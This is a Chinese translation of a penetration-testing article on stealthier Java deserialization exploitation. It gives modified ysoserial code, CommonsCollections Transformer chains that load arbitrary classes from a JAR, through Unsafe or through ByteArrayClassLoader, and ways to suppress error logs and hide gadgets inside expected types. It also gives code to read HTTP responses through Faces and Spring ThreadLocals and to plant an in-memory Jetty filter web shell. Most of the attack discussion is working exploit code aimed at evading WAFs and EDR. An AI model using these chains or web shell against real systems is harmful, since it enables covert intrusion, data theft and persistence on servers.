最新!Java 反序列化饶过WAF的一些技巧(译)

admin 2024年5月24日21:50:49评论11 views字数 31051阅读103分30秒阅读模式

引言

不受信任数据的任意反序列化和Java gadget链已经在以下文章中进行了介绍:

  • Finding gadgets like it's 2015  (第一部分,  第二部分)
  • Finding gadgets like it's 2022
  • Java Exploitation Restrictions in Modern JDK Times

本文将介绍一些技巧,这些技巧可以在识别出导致RCE(远程代码执行)的gadget链的易受攻击应用程序上应用,主要目标是使利用更加隐蔽。

避免WAFs

首先,作为一般建议,最好避免被静态模式检测到。在参与过程中,我们注意到WAF(Web应用程序防火墙)检测到序列化gadget链中的特定单词,例如:

  • Runtime

  • Process

  • exec

  • shell

  • ysoserial

第一步是重新编译生成gadget链的Java项目,一旦模块、包和类名被重命名。然后,应该稍微修改gadget链,以避免直接调用内置类或方法,这些类或方法被检测到是因为它们通常被使用,例如:

Runtime.getRuntime().exec("whoami")

此外,使用JavaAssist在ysoserial 中创建随机类名的字符串也不应该被忘记,因为它们也可能被安全解决方案检测到:

// src/main/java/ysoserial/payloads/util/Gadgets.java
// ...
106 public static <T> createTemplatesImpl final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
107        throws Exception 
{
108    final T templates = tplClass.newInstance();
// ...
122    clazz.setName("ysoserial.Pwner" + System.nanoTime()); //HERE
123    CtClass superC = pool.get(abstTranslet.getName());
124    clazz.setSuperclass(superC);
// ...
133    // required to make TemplatesImpl happy
134    Reflections.setFieldValue(templates, "_name""Pwnr"); // HERE
135    Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
136    return templates;
137 }
// ...

在运行时注入自定义类

如今,托管应用程序后端的服务器经常受到EDR(端点检测和响应)的监控,Java创建的子进程可能会触发警报。因此,执行任意命令的基本有效载荷将被检测到。避免它的一个简单方法是仅在运行时注入执行所需操作的Java代码,例如读写文件,或利用可以从底层服务器访问的服务。

从Translet API

通常,ysoserial 工具可以用来生成gadget链,几乎所有已知的链都使用相同的最后部分:位于JDK内部模块中的可序列化类,并提供强大的原语。实际上,java.xml内部模块包含一个XSLT编译器  (Translet API和TrAX),在com.sun.org.apache.xalan包中,它以某种方式具有从字节码在运行时注入Java类的能力。此外,这段代码可以从一个简单的getter 访问,这是几个gadget链的关键组件,例如CommonsBeanutils1。

这些gadget链通常通过在运行时加载一个自定义类来实现任意代码执行,该类包含一个静态初始化块,在类初始化期间执行任意Java代码。从这个API在运行时注入自定义Java代码的最简单的方法,而不是直接运行纯shell命令,是稍微修改ysoserial中的Gadgets类。例如,可以应用以下补丁,直接在工具参数上提供Java代码:

diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java
index d4cd783..100a32a 100644
--- a/src/main/java/ysoserial/payloads/util/Gadgets.java
+++ b/src/main/java/ysoserial/payloads/util/Gadgets.java
@@ -103,7 +103,7 @@ public class Gadgets {
     }
 
 
-    public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
+    public static <T> T createTemplatesImpl ( final String code, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
         throws Exception {
     final T templates = tplClass.newInstance();
 
@@ -114,10 +114,7 @@ public class Gadgets {
     final CtClass clazz = pool.get(StubTransletPayload.class.getName());
     // run command in static initializer
     // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
-    String cmd = "java.lang.Runtime.getRuntime().exec("" +
-        command.replace("\", "\\").replace(""", "\"") +
-        "");";
-    clazz.makeClassInitializer().insertAfter(cmd);
+    clazz.makeClassInitializer().insertAfter(code);
     // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
     clazz.setName("ysoserial.Pwner" + System.nanoTime());
     CtClass superC = pool.get(abstTranslet.getName());

然而,这个API也可以用来使Template类定义多个类,这可能更方便,因为这样可以允许实现与特定类交互所需的接口,用于后期利用目的或在运行时持久化。只要这些类在运行时已经加载了它们的依赖项,例如Spring Web框架,就可以这样做。

实际上,TemplatesImpl类可以用来从_bytecodes字段定义多个类:

// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java
// [...]
   454    /**
   455     * Defines the translet class and auxiliary classes.
   456     * Returns a reference to the Class object that defines the main class
   457     */

   458    private void defineTransletClasses()
   459        throws TransformerConfigurationException 
{
// [...]
   467        TransletClassLoader loader =
   468                AccessController.doPrivileged(new PrivilegedAction<TransletClassLoader>() {
   469                public TransletClassLoader run() {
   470                    return new TransletClassLoader(ObjectFactory.findClassLoader(),
   471                            _tfactory.getExternalExtensionsMap());
   472                }
   473            });
// [...]
   516            for (int i = 0; i < classCount; i++) {
   517                _class[i] = loader.defineClass(_bytecodes[i], pd);
   518                final Class<?> superClass = _class[i].getSuperclass();
   519 
   520                // Check if this is the main class
   521                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
   522                    _transletIndex = i;
   523                }
   524                else {
   525                    _auxClasses.put(_class[i].getName(), _class[i]);
   526                }
   527            }
// [...]
   542    }
// [...]

在生成TemplatesImpl实例的同时导入一个JAR文件,可以通过在ysoserial的Gadgets类中添加以下代码片段来实现:

// [...]
    private static <T> T createClassTemplatesImplFromJar(final String jarFilePath, Class<T> tplClass, 
                Class<?> abstTranslet, Class<?> transFactory) throws Exception {
        final T templates = tplClass.newInstance();

        JarFile jarFile = new JarFile(new File(jarFilePath), false);
        String mainClass = jarFile.getManifest().getMainAttributes().getValue("Main-Class");
        if(mainClass == null)
            throw new IllegalArgumentException("No Main-Class manifest value found.");
        mainClass = mainClass.replace("\""\\")
            .replace(""""\"");

        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(Gadgets.StubTransletPayload.class));
        pool.insertClassPath(new ClassClassPath(abstTranslet));
        final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
        // run main method of main-class in static initializer
        String initializer = "Class.forName(""+mainClass+"")" +
            ".getMethod("main", new Class[]{String[].class})" +
            ".invoke(null, new Object[]{new String[0]});";
        clazz.makeClassInitializer().insertAfter(initializer);
        // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        CtClass superC = pool.get(abstTranslet.getName());
        clazz.setSuperclass(superC);

        // create bytecodes from .class files
        List<byte[]> bytecodesList = new ArrayList<>();
        for (Enumeration<JarEntry> en = jarFile.entries(); en.hasMoreElements(); ) {
            JarEntry entry = en.nextElement();
            if(!entry.getName().endsWith(".class")) continue;

            InputStream is = jarFile.getInputStream(entry);
            bytecodesList.add(IOUtils.readFully(is, (int) entry.getSize()));
        }
        final byte[][] bytecodes = new byte[bytecodesList.size() + 2][];
        int i = 0;
        for (byte[] code : bytecodesList) {
            bytecodes[i] = code;
            ++i;
        }
        bytecodes[i++] = clazz.toBytecode();
        bytecodes[i] = ClassFiles.classAsBytes(Gadgets.Foo.class);

        // inject class bytes into instance
        Reflections.setFieldValue(templates, "_bytecodes", bytecodes);

        // required to make TemplatesImpl happy
        Reflections.setFieldValue(templates, "_name""Pwnr");
        Reflections.setFieldValue(templates, "_tfactory", transFactory
            .newInstance());
        return templates;
    }

    public static Object createClassTemplatesImplFromJar(final String jarFilePath) throws Exception {
        return createClassTemplatesImplFromJar(jarFilePath, 
            TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
    }
// [...]

createClassTemplatesImplFromJar 方法随后可以被用来在需要时,基于现有工具生成 TemplateImpl 实例。

然而,重复注入整个 JAR 文件不会有任何效果,因为同一个类不会被定义两次在同一个 ClassLoader 中,每个类的第一个版本会被保留。此外,当 PermGen 内存区域已满时,应当注意由 ysoserial 的作者 frohoff 在 这里 提到的 OutOfMemory 异常,这可能会在定义许多新类时发生。

来自 CommonsCollections 转换器链

其他工具链利用了宽容库提供的不同的强大原语,比如 CommonsCollections 使用 Transformer 链。如果目标应用程序有一个易受攻击的 CommonsCollections 依赖项,它可以被利用,而不需要依赖于内部的 Translets,这些 Translets 可以从特定的 Java 运行时中移除,或者由于 JDK 16 开始不能从未命名模块中使用,正如 这篇伟大的文章 从 CODE WHITE 解释的那样。

不幸的是,在我们在场的时候,内部的 Translets 无法从易受攻击的应用程序中访问,所以我们使用了下面描述的一种技术。

根据上下文,可以使用两种方法。第一种使用 URLClassLoader 并且不是无文件的,而另一种使用另一个内部类但是是无文件的。然而,如果应用程序在 Java 安全管理器 内运行,这两种方法都可能受到限制。

现有的 CommonsCollections 工具已经使用了 Transformer 链,主要用于 使用 Translets 注入自定义类,或者用于 执行任意命令:

// src/main/java/ysoserial/payloads/CommonsCollections1.java
// [...]
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler{

    public InvocationHandler getObject(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
            new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] 
{
                    String.classClass[].class }, new Object[] {
                    "getRuntime"new Class[0] }),
                new InvokerTransformer("invoke"new Class[] {
                    Object.classObject[].class }, new Object[] {
                    nullnew Object[0] }),
                new InvokerTransformer("exec",
                    new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) }
;

        final Map innerMap = new HashMap();
// [...]
        Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
        return handler;
    }
// [...]
}

这些链允许通过组合多个 Transformer functors 来执行几种强大的操作:

  • 使用 ConstantsTransformer 定义由可序列化类型或标量组成的常量:
new ConstantTransformer(File.class);
  • 使用 ChainedTransformer 对多个 Transformers 进行迭代,方法是将前一个 Transformer 的结果作为下一个 Transformer 的第一个参数提供。
  • 通过使用 InvokerTransformer 调用现有类的任意方法。这也适用于静态方法,但需要调用 getMethod 来查找要调用的静态方法:
new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] 
{
        String.classClass[].class }, new Object[] {
        "getRuntime"new Class[0] })
};
  • 使用 InstantiateTransformer 来实例化一个类:
new Transformer[] {
    new ConstantTransformer(File.class),
    new InstantiateTransformer(
        new Class[]
{String.class},
        new Object[]
{"/etc/passwd"}
    ),
};
  • 通过保持相同的第一个参数来迭代多个 Transformers。为此,应该使用 ClosureTransformer,它应该用 ChainedClosure 作为参数化,而 ChainedClosure 本身应该用 TransformerClosure 数组作为参数化。这种结构允许在单个实例上调用多个方法,如果它被包含在主 ChainedTransformer 内。闭包(Closures)很有用,例如,可以使静态字段或方法可访问(即使它的可见性最初是 protectedprivate),然后获取或调用它:
new Transformer[] {
    new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
    new InvokerTransformer("getDeclaredField",
        new Class[]{ String.class },
        new Object[]
{"theUnsafe"}
    ),
    new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
        "setAccessible",
        new Class[]{ boolean.class },
        new Object[]
true }
    ))),
    new InvokerTransformer("get",
        new Class[]{ Object.class },
        new Object[]
null }
    ) 
};

还有一些 functors 提供了控制流功能(例如 IfClosureForClosureSwitchTransformerWhileClosure)。

这些链的唯一限制是,无法向方法或构造函数提供不可序列化的参数。

从 Transformers 实例化 URLClassLoader

这种链可以被修改,以实际在磁盘上写入一个新的 JAR 文件,然后使用 URLClassLoader 加载它,并删除该文件。

例如,以下链将在 /tmp/ 中创建一个文件夹,将 JAR 文件存储在其中,并从中加载一个类:

String uniqueKey = System.nanoTime() + "";
String mainClassName = "TestClass" + uniqueKey;
byte[] jarBytes = FileUtils.readFileToByteArray(new File(jarFilePath));

final Transformer[] transformers = new Transformer[]{
    // create a temp folder
    new ConstantTransformer(File.class),
    new InstantiateTransformer(
        new Class[]
{String.class},
        new Object[]
{"/tmp/.cache_" + uniqueKey + "/"}
    ),
    new InvokerTransformer("mkdirs",
        new Class[]{}, new Object[]{}),

    // write the JAR file in it
    new ConstantTransformer(FileOutputStream.class),
    new InstantiateTransformer(
        new Class[]
{String.class},
        new Object[]
{"/tmp/.cache_" + uniqueKey + "/save.bmp"}
    ),
    new InvokerTransformer("write",
        new Class[]{byte[].class}, new Object[]{jarBytes}),

    // create the URLClassLoader, load the class, and instantiate it
    new ConstantTransformer(URLClassLoader.class),
    new InstantiateTransformer(new Class[]
{
        URL[].class}, new Object[]{new URL[]{
        new URL("file:///tmp/.cache_" + uniqueKey + "/save.bmp")}}
    ),
    new InvokerTransformer("loadClass",
        new Class[]{String.class}, new Object[]{mainClassName}),
    new InstantiateTransformer(
        new Class[]{},
        new Object[]{}
    ),

    // delete the JAR file
    new ConstantTransformer(File.class),
    new InstantiateTransformer(
        new Class[]
{String.class},
        new Object[]
{"/tmp/.cache_" + uniqueKey + "/save.bmp"}
    ),
    new InvokerTransformer("delete",
        new Class[]{}, new Object[]{}),

    // delete the folder
    new ConstantTransformer(File.class),
    new InstantiateTransformer(
        new Class[]
{String.class},
        new Object[]
{"/tmp/.cache_" + uniqueKey + "/"}
    ),
    new InvokerTransformer("delete",
        new Class[]{}, new Object[]{}),
};

从 Transformers 调用 Unsafe

可以创建一个链来使用 sun.misc.Unsafe 定义一个匿名类。这只能一次定义一个类,但可以是无文件的,非常有用。此外,这个单一的类可以用来实现一个自定义的 ClassLoader,稍后定义所有必需的类。

以下链使用 Closure 设置 theUnsafe 字段可访问,检索它的值,调用它的 defineAnonymousClass 方法,并创建返回类的一个新的实例:

byte[] classBytes = FileUtils.readFileToByteArray(new File("CustomClass.class"));
new Transformer[]{
    new ConstantTransformer(Class.forName("sun.misc.Unsafe")),
    new InvokerTransformer("getDeclaredField",
        new Class[]{ String.class },
        new Object[]
{"theUnsafe"}
    ),
    new ClosureTransformer(new TransformerClosure(new InvokerTransformer(
        "setAccessible",
        new Class[]{ boolean.class },
        new Object[]
true }
    ))),
    new InvokerTransformer("get",
        new Class[]{ Object.class },
        new Object[]
null }
    ),
    new InvokerTransformer("defineAnonymousClass",
        new Class[]{ Class.classbyte[].classObject[].class },
        new Object[]
{ String.classclassBytesnew Object[0] }
    ),
    new InvokerTransformer("newInstance",
        new Class[0], new Object[0]
    )
}
;

从 Transformers 实例化 ByteArrayClassLoader

来自 byte-buddy 依赖项的 ByteArrayClassLoader 类在定义任意类时也非常有用,因为它提供了一个自定义的公共 ClassLoader,可以在不修补字段的情况下使用:

Map<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", Files.readAllBytes(Path.of("SampleClass.class")));

new ByteArrayClassLoader(null, definitions)
    .loadClass("SampleClass")
    .newInstance();

或者在 Transformer 链中如下:

HashMap<String, byte[]> defs = new HashMap<>();
defs.put("SampleClass", FileUtils.readFileToByteArray(new File("SampleClass.class")));

new Transformer[]{
    new ConstantTransformer(Class.forName("net.bytebuddy.dynamic.loading.ByteArrayClassLoader")),
    new InstantiateTransformer(
        new Class[]{ ClassLoader.classMap.class },
        new Object[]
null, defs }
    ),
    new InvokerTransformer("loadClass",
        new Class[]{ String.class },
        new Object[]
"SampleClass" }
    ),
    new InvokerTransformer("newInstance",
        new Class[0], new Object[0]
    )
};

然而,这个依赖经常被使用吗?看起来它确实被 包含 在一些项目中:

  • Selenium Java
  • Hibernate Core
  • HikariCP(如果启用了 Hibernate-Core 可选依赖项)

使 gadgets 更隐蔽

如果构建不当,大多数 gadgets 会触发异常。为了使有效载荷更隐蔽,需要深入理解代码流程,使 gadget 反序列化过程顺畅,错误日志为空。

Translets

使用 ysoserial 生成的 gadgets 在反序列化时,会在定义新的任意类之后抛出以下异常:

Caused by: java.lang.NullPointerException: null
at java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.postInitialization(AbstractTranslet.java:375) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:557) ~[na:na]
at java.xml/com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:584) ~[na:na]
| ... 120 common frames omitted

这个异常实际上是从 AbstractTranslet 类的 postInitialization 方法抛出的:

// src/java.xml/share/classes/com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet.java
// [...]
public final void postInitialization() {
    if (this.transletVersion < 101) {
        int arraySize = this.namesArray.length; // 这里抛出异常
        String[] newURIsArray = new String[arraySize];
        String[] newNamesArray = new String[arraySize];
        int[] newTypesArray = new int[arraySize];
// [...]
        this.namesArray = newNamesArray;
        this.urisArray = newURIsArray;
        this.typesArray = newTypesArray;
    }

    if (this.transletVersion > 101) {
        BasisLibrary.runTimeError("UNKNOWN_TRANSLET_VERSION_ERR"this.getClass().getName());
    }

}
// [...]

为了避免这个错误,可以在自定义 Translet 构造函数中添加以下语句之一:

  • 使用空数组初始化 namesArray 字段:
clazz.getConstructors()[0].setBody("this.namesArray = new String[0];");
  • transletVersion 字段设置为大于 100
clazz.getConstructors()[0].setBody("this.transletVersion = 101;");

还应注意,当使用内部模块时,最近的 JVM 在从无名模块第一次访问内部模块时会发出抱怨:

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.apache.commons.collections4.functors.InvokerTransformer (jar:file:app.jar!/BOOT-INF/lib/commons-collections4-4.0.jar!/) to method com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()
WARNING: Please consider reporting this to the maintainers of org.apache.commons.collections4.functors.InvokerTransformer
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

此消息默认写入 stderr,可以通过关闭 stderr 避免,但我们没有找到可以用来完全隐藏它的方法。尽管如此,当复杂的 Java 应用程序启动时,这通常会被合理地显示。

CommonsCollections

为了避免因为 Transformer 链返回的最后一个元素不是 Comparable 而抛出异常,可以修改 CommonsCollections gadgets 以返回一个常量 String

public class CommonsCollections2 implements ObjectPayload<Serializable{

    public Serializable getObject(final String javaClassPath) throws Exception {
// [...]
        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
            transformer,
            new ConstantTransformer(""// 在这里
            /* 始终在最后返回一个字符串,
             * 它是一个基本类型并且
             * 是可比较的(消除了所有抛出的异常)
             */

        });
// [...]
}

CommonsBeanutils1

CommonsBeanutils1 gadget 链为 BeansComparator 创建后,调用了内部类 TemplatesImpl 的 getOutputProperties 方法时,会抛出异常,因为返回的对象没有实现 Comparable 接口。

为了避免这类异常,可以向 BeansComparator 构造函数提供一个可序列化且内部的 NullComparator 类的实例:

public class CommonsBeanutils1 implements ObjectPayload<Object{

    public Object getObject(final String filePath) throws Exception {
        final Object templates = Gadgets.createClassTemplatesImplFromJar(filePath);

        // NullComparator 实现了 Comparator<?> 和 Serializable
        Constructor<?> nullComparatorConstructor = Reflections
            .getFirstCtor("java.util.Comparators$NullComparator");
        Comparator<?> nullComparator = (Comparator<?>) nullComparatorConstructor
            .newInstance(truenull);

        // 模拟方法名称直到武装
        final BeanComparator comparator = new BeanComparator("lowestSetBit", nullComparator);
        // [...]
    }
}

由于此比较器不会尝试将元素强制转换为 Comparable,因此在反序列化过程中不会抛出异常。

在真实的对象内封装 gadgets

一旦最终的 gadget 被构建(例如在 CommonsCollections4.java::getObject 内),可以将 gadget 链隐藏在任何类的实例中。

例如,如果底层应用程序期望一个特定的 Serializable 类型,可以重新声明它并添加一个内部的 Object 字段,该字段将包含 gadget,因为对它(见 FieldValues 实现)没有约束。

例如,如果应用程序有以下易受攻击的代码:

CustomResult res = (CustomResult)ois.readObject();
System.out.println(res.result+1);

带有以下 CustomResult 类:

package my.app;

class CustomResult {
    public final int result;
    public CustomResult(int res) {this.result = res;}
}

可以在生成 gadget 链的 Java 项目中手动重新声明相同的类(例如在 ysoserial 内)以添加一个任意对象,该对象将包含用于触发链的 gadget(构造函数仅在生成序列化链的项目中使用),只要定义了相同的 serialVersionUID

package my.app;

class CustomResult implements Serializable {
    private final long serialVersionUID = XL; // 需要从现有的生成的 UID 适应
    private Object ignoredObject;

    public final int result;
    
    public CustomResult(Object gadget) {
        this.result = 1337;
        this.ignoredObject = gadget;
    }
}

然后,只需修改现有 gadget 链的 return 语句:

public Object getObject(final String arg) throws Exception {
    // [...]
    // 创建带有数字和基本比较器的队列
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(chain));
    // 稍后替换的存根数据
    queue.add(1);
    queue.add(1);
    // [...]
    return new my.app.CustomResult(queue); // 在这里
}

一旦生成并发送到应用程序,序列化的 gadget 链应该会触发,应用程序不会因接收到预期类型的实例而引发异常。

数据泄露

由于传出连接和DNS请求可能会被过滤,最好是找到允许从被破坏的应用程序中泄露数据的方法。

这些方法通常重新使用Web应用程序的环境,以便在与当前HTTP请求相关的响应中返回数据。Web环境根据目标应用程序的不同而变化,但常见的包括:

  • Javax Faces
  • Spring

为了找到这样的方法,可以采取以下通用方法:

  • 阅读Web框架的文档,以及嵌入式Web服务器的文档。
  • 阅读它们的源代码或分析它们的JAR文件,以了解如何处理和存储当前HTTP请求及其响应。
  • 分析当前线程上存储的引用。在Java中,当前 线程 通常 保存 Web应用程序的当前状态在 ThreadLocal 映射上。存储在其中变量被称为 ThreadLocals

分析 ThreadLocals

为了分析当前线程上存储的 ThreadLocals,应使用 Reflection API 将特定字段设置为可访问(即 public)。然后,可以枚举 ThreadLocalMap 条目:

Thread t = Thread.currentThread();
java.lang.reflect.Field fThreadLocals = Thread.class
    .getDeclaredField("threadLocals")
;
fThreadLocals.setAccessible(true);

java.lang.reflect.Field fTable = Class
    .forName("java.lang.ThreadLocal$ThreadLocalMap")
    .getDeclaredField("table");
fTable.setAccessible(true);

if(fThreadLocals.get(t) == nullreturn;

Object table = fTable.get(fThreadLocals.get(t));
java.lang.reflect.Field fValue = Class
    .forName("java.lang.ThreadLocal$ThreadLocalMap$Entry")
    .getDeclaredField("value");
fValue.setAccessible(true);

int length = java.lang.reflect.Array.getLength(table);
for (int i=0; i < length; ++i) {
    Object entry = java.lang.reflect.Array.get(table, i);
    if(entry == nullcontinue;
    Object value = fValue.get(entry);
    if(value == nullcontinue;
    if (value instanceof java.lang.ref.WeakReference) {
        value = ((java.lang.ref.WeakReference) value).get();
    }
    if(value == nullcontinue;
    if (value instanceof java.lang.ref.SoftReference) {
        value = ((java.lang.ref.SoftReference) value).get();
    }
    if(value == nullcontinue;
    System.out.println(value.getClass() + " => " + value.toString());
}

如果在 Javax Faces 应用程序上执行前面的代码片段,则会打印以下 ThreadLocals

class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class com.sun.faces.context.FacesContextImpl => com.sun.faces.context.FacesContextImpl@48ba57c4
class java.util.concurrent.ThreadLocalRandom => java.util.concurrent.ThreadLocalRandom@3b04c8e9
class com.sun.faces.application.ApplicationAssociate => com.sun.faces.application.ApplicationAssociate@37225744
class java.lang.StringCoding$StringDecoder => java.lang.StringCoding$StringDecoder@41d82a29
class sun.nio.cs.UTF_8$Encoder => sun.nio.cs.UTF_8$Encoder@693220b9
class java.lang.StringCoding$StringEncoder => java.lang.StringCoding$StringEncoder@5a0287a3
class com.sun.xml.internal.stream.util.BufferAllocator => com.sun.xml.internal.stream.util.BufferAllocator@36bf1523

前两个条目与当前正在处理的请求的内部状态有关(FacesContextImpl),这是与内部Web API交互的良好入口点。尽管这些条目可以以通用方式用于获取当前状态的引用,但根据Web框架的不同,可能存在静态方法来获取相同的状态。

在 Javax Faces 中

在该 Web 框架中,一个 静态方法 允许从 ThreadLocals 中检索应用程序的当前状态:

// src/main/java/javax/faces/context/FacesContext.java
// ...
    /**
     * <p class="changed_modified_2_0">返回当前线程正在处理的请求的 {@link FacesContext}
     * 实例。如果在应用程序初始化或关闭期间调用,
// ...
     */

    public static FacesContext getCurrentInstance() {
        FacesContext facesContext = instance.get();

        if (null == facesContext) {
            facesContext = (FacesContext)threadInitContext.get(Thread.currentThread());
        }
        // Bug 20458755: 如果在 threadInitContext 中未找到,使用
        // 一个特殊的 FacesContextFactory 实现,知道如何
        // 使用 initContextServletContext 映射从无中获取当前 ServletContext
        // (实际上,使用当前的 ClassLoader),并使用它
        // 来获取与该 ServletContext 对应的初始化 FacesContext。
        if (null == facesContext) {
// ...
            FacesContextFactory privateFacesContextFactory = (FacesContextFactory) FactoryFinder.getFactory("com.sun.faces.ServletContextFacesContextFactory");
            if (null != privateFacesContextFactory) {
                facesContext = privateFacesContextFactory.getFacesContext(nullnullnullnull);
            }
        }
        return facesContext;
    }
// ...

从这个实例中,可以使用 getRequestgetResponse 方法从 ExternalContext 获取 HTTP 请求及其响应:

HttpServletRequest req = ((HttpServletRequest) FacesContext.getCurrentInstance()
    .getExternalContext().getRequest());
System.out.println(req.getParameter("get_param"));

HttpServletResponse resp = ((HttpServletResponse) FacesContext.getCurrentInstance()
    .getExternalContext().getResponse());
resp.getWriter().write("Response!");

如果 Faces 使用的是 Portlet 而不是 Servlet,请求和响应类型可能会有所不同。

然而,如果这些方法是由主 ClassLoader 内加载的类,或者与当前线程上下文的类加载器不同的 ClassLoader 调用的,则会抛出异常。与 Faces 交互的最简单方法是实际上使用当前线程上下文的 ClassLoader 加载一个新类:

byte[] classBytes = new byte[]{/* [...] */};
Method method = classLoader.loadClass("java.lang.ClassLoader")
    .getDeclaredMethod("defineClass", String.classbyte[].classInteger.classInteger.class);
method.setAccessible(true);
((Class) method.invoke(Thread.currentThread().getContextClassLoader(), 
        className, classBytes, 0, classBytes.length)
).newInstance();

另一种选择是通过查询当前线程上下文的 ClassLoader 手动查找类和调用方法:

Class klass = Thread.currentThread().getContextClassLoader().loadClass("javax.faces.context.FacesContext")
Object instance = klass.getMethod("getCurrentInstance"new Class[0])
    .invoke(null);
// ...

最后,应该注意到相同的静态方法似乎在 Mojarra Faces 上 存在,所以通过这种方式泄露数据也应该在这个 Web 框架上有效,只要使用正确的包即可。

在 Spring 中

与 Faces 类似,Spring 中的一个 静态方法 可以自动从 ThreadLocals 中查找应用程序的当前状态:

// spring-web/src/main/java/org/springframework/web/context/request/RequestContextHolder.java
// ...
    /**
     * 返回当前绑定到线程的 RequestAttributes。
     * <p>如果存在,公开先前绑定的 RequestAttributes 实例。
     * 如果没有,回退到当前的 JSF FacesContext。
     * ...
     * @see #setRequestAttributes
     * @see ServletRequestAttributes
     * @see FacesRequestAttributes
     * @see jakarta.faces.context.FacesContext#getCurrentInstance()
     */

    public static RequestAttributes currentRequestAttributes() throws IllegalStateException {
        RequestAttributes attributes = getRequestAttributes();
        if (attributes == null) {
            if (jsfPresent) {
                attributes = FacesRequestAttributesFactory.getFacesRequestAttributes();
            }
            if (attributes == null) {
                throw new IllegalStateException("No thread-bound request found: " +
// ...
                        "在这种情况下,使用 RequestContextListener 或 RequestContextFilter 来公开当前请求。");
            }
        }
        return attributes;
    }
// ...

HTTP 请求及其响应可以从扩展 RequestAttributes 的类的实例中获取。对于 Servlet,应使用 ServletRequestAttributes 类的 getRequestgetResponse 方法:

ServletRequestAttributes reqAttributes = (ServletRequestAttributes)RequestContextHolder
    .currentRequestAttributes();
System.out.println(reqAttributes.getRequest()
    .getParameter("get_param"));
PrintWriter writer = reqAttributes.getResponse()
    .getWriter();
writer.println("Result");
writer.flush();

劫持 HTTP 流

在利用任意反序列化漏洞时,如果网络流量被过滤,下一步可能是劫持 HTTP 流。这对于在运行时持久化并只利用一次漏洞,通过部署内存中的 Webshell 很有用,即使是在没有 JSP(JavaServer Pages)文件解析器的环境中。

对于数据泄露,可以针对以下 Web 环境:

  • Javax Faces
  • 内置 Tomcat 的 Spring
  • 内置 Jetty 的 Spring

针对嵌入式 Tomcat 的一些技术已经在 这篇有趣的文章 和 ysomap 工具中介绍。接下来的章节将展示一种可用于 Spring 和 Jetty 的方法,另一种针对 Javax Faces,第三种针对使用 Valves 的 Spring 和 Tomcat。

在使用 Jetty 的 Spring 上使用过滤器

在 Jetty 中,主要的 Web 服务由 WebAppContext 类管理其上下文。然而,从 ThreadLocals 中,只能从前面提到的 RequestContextHolder 类获取到其封闭类 Context 的实例:

WebAppContext.Context ctx = (WebAppContext.Context) (
    (ServletRequestAttributes)RequestContextHolder
        .currentRequestAttributes()
).getRequest().getServletContext();

在 Java 中,非静态封闭类持有其封闭类的实例。内部,使用名为 this$0 的私有字段来存储此实例。为了获得 WebAppContext 的实例,可以使用以下 Java 代码片段:

WebAppContext.Context ctx = (WebAppContext.Context) (
    (ServletRequestAttributes)RequestContextHolder
        .currentRequestAttributes()
).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);

从这里开始,可以定义自定义过滤器来拦截运行中的应用程序的请求:

WebAppContext.Context ctx = (WebAppContext.Context) (
    (ServletRequestAttributes)RequestContextHolder
        .currentRequestAttributes()
).getRequest().getServletContext();
Field this0 = ctx.getClass().getDeclaredField("this$0");
this0.setAccessible(true);
WebAppContext appCtx = (WebAppContext)this0.get(ctx);

Set<DispatcherType> set = new HashSet<DispatcherType>();
appCtx.addFilter(new FilterHolder(new Filter() {
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        if(!(servletRequest instanceof HttpServletRequest)) {
            filterChain.doFilter(servletRequest, servletResponse);
            return;
        }
        if(((HttpServletRequest) servletRequest).getHeader("req_header") != null) {
            servletResponse.getWriter().write(((HttpServletRequest) servletRequest).getHeader("req_header") );
            ((HttpServletResponse)servletResponse).getWriter().append("Result");
        }
        filterChain.doFilter(servletRequest, servletResponse);
    }
}), "/*", EnumSet.of(DispatcherType.ASYNC, DispatcherType.REQUEST, DispatcherType.FORWARD));

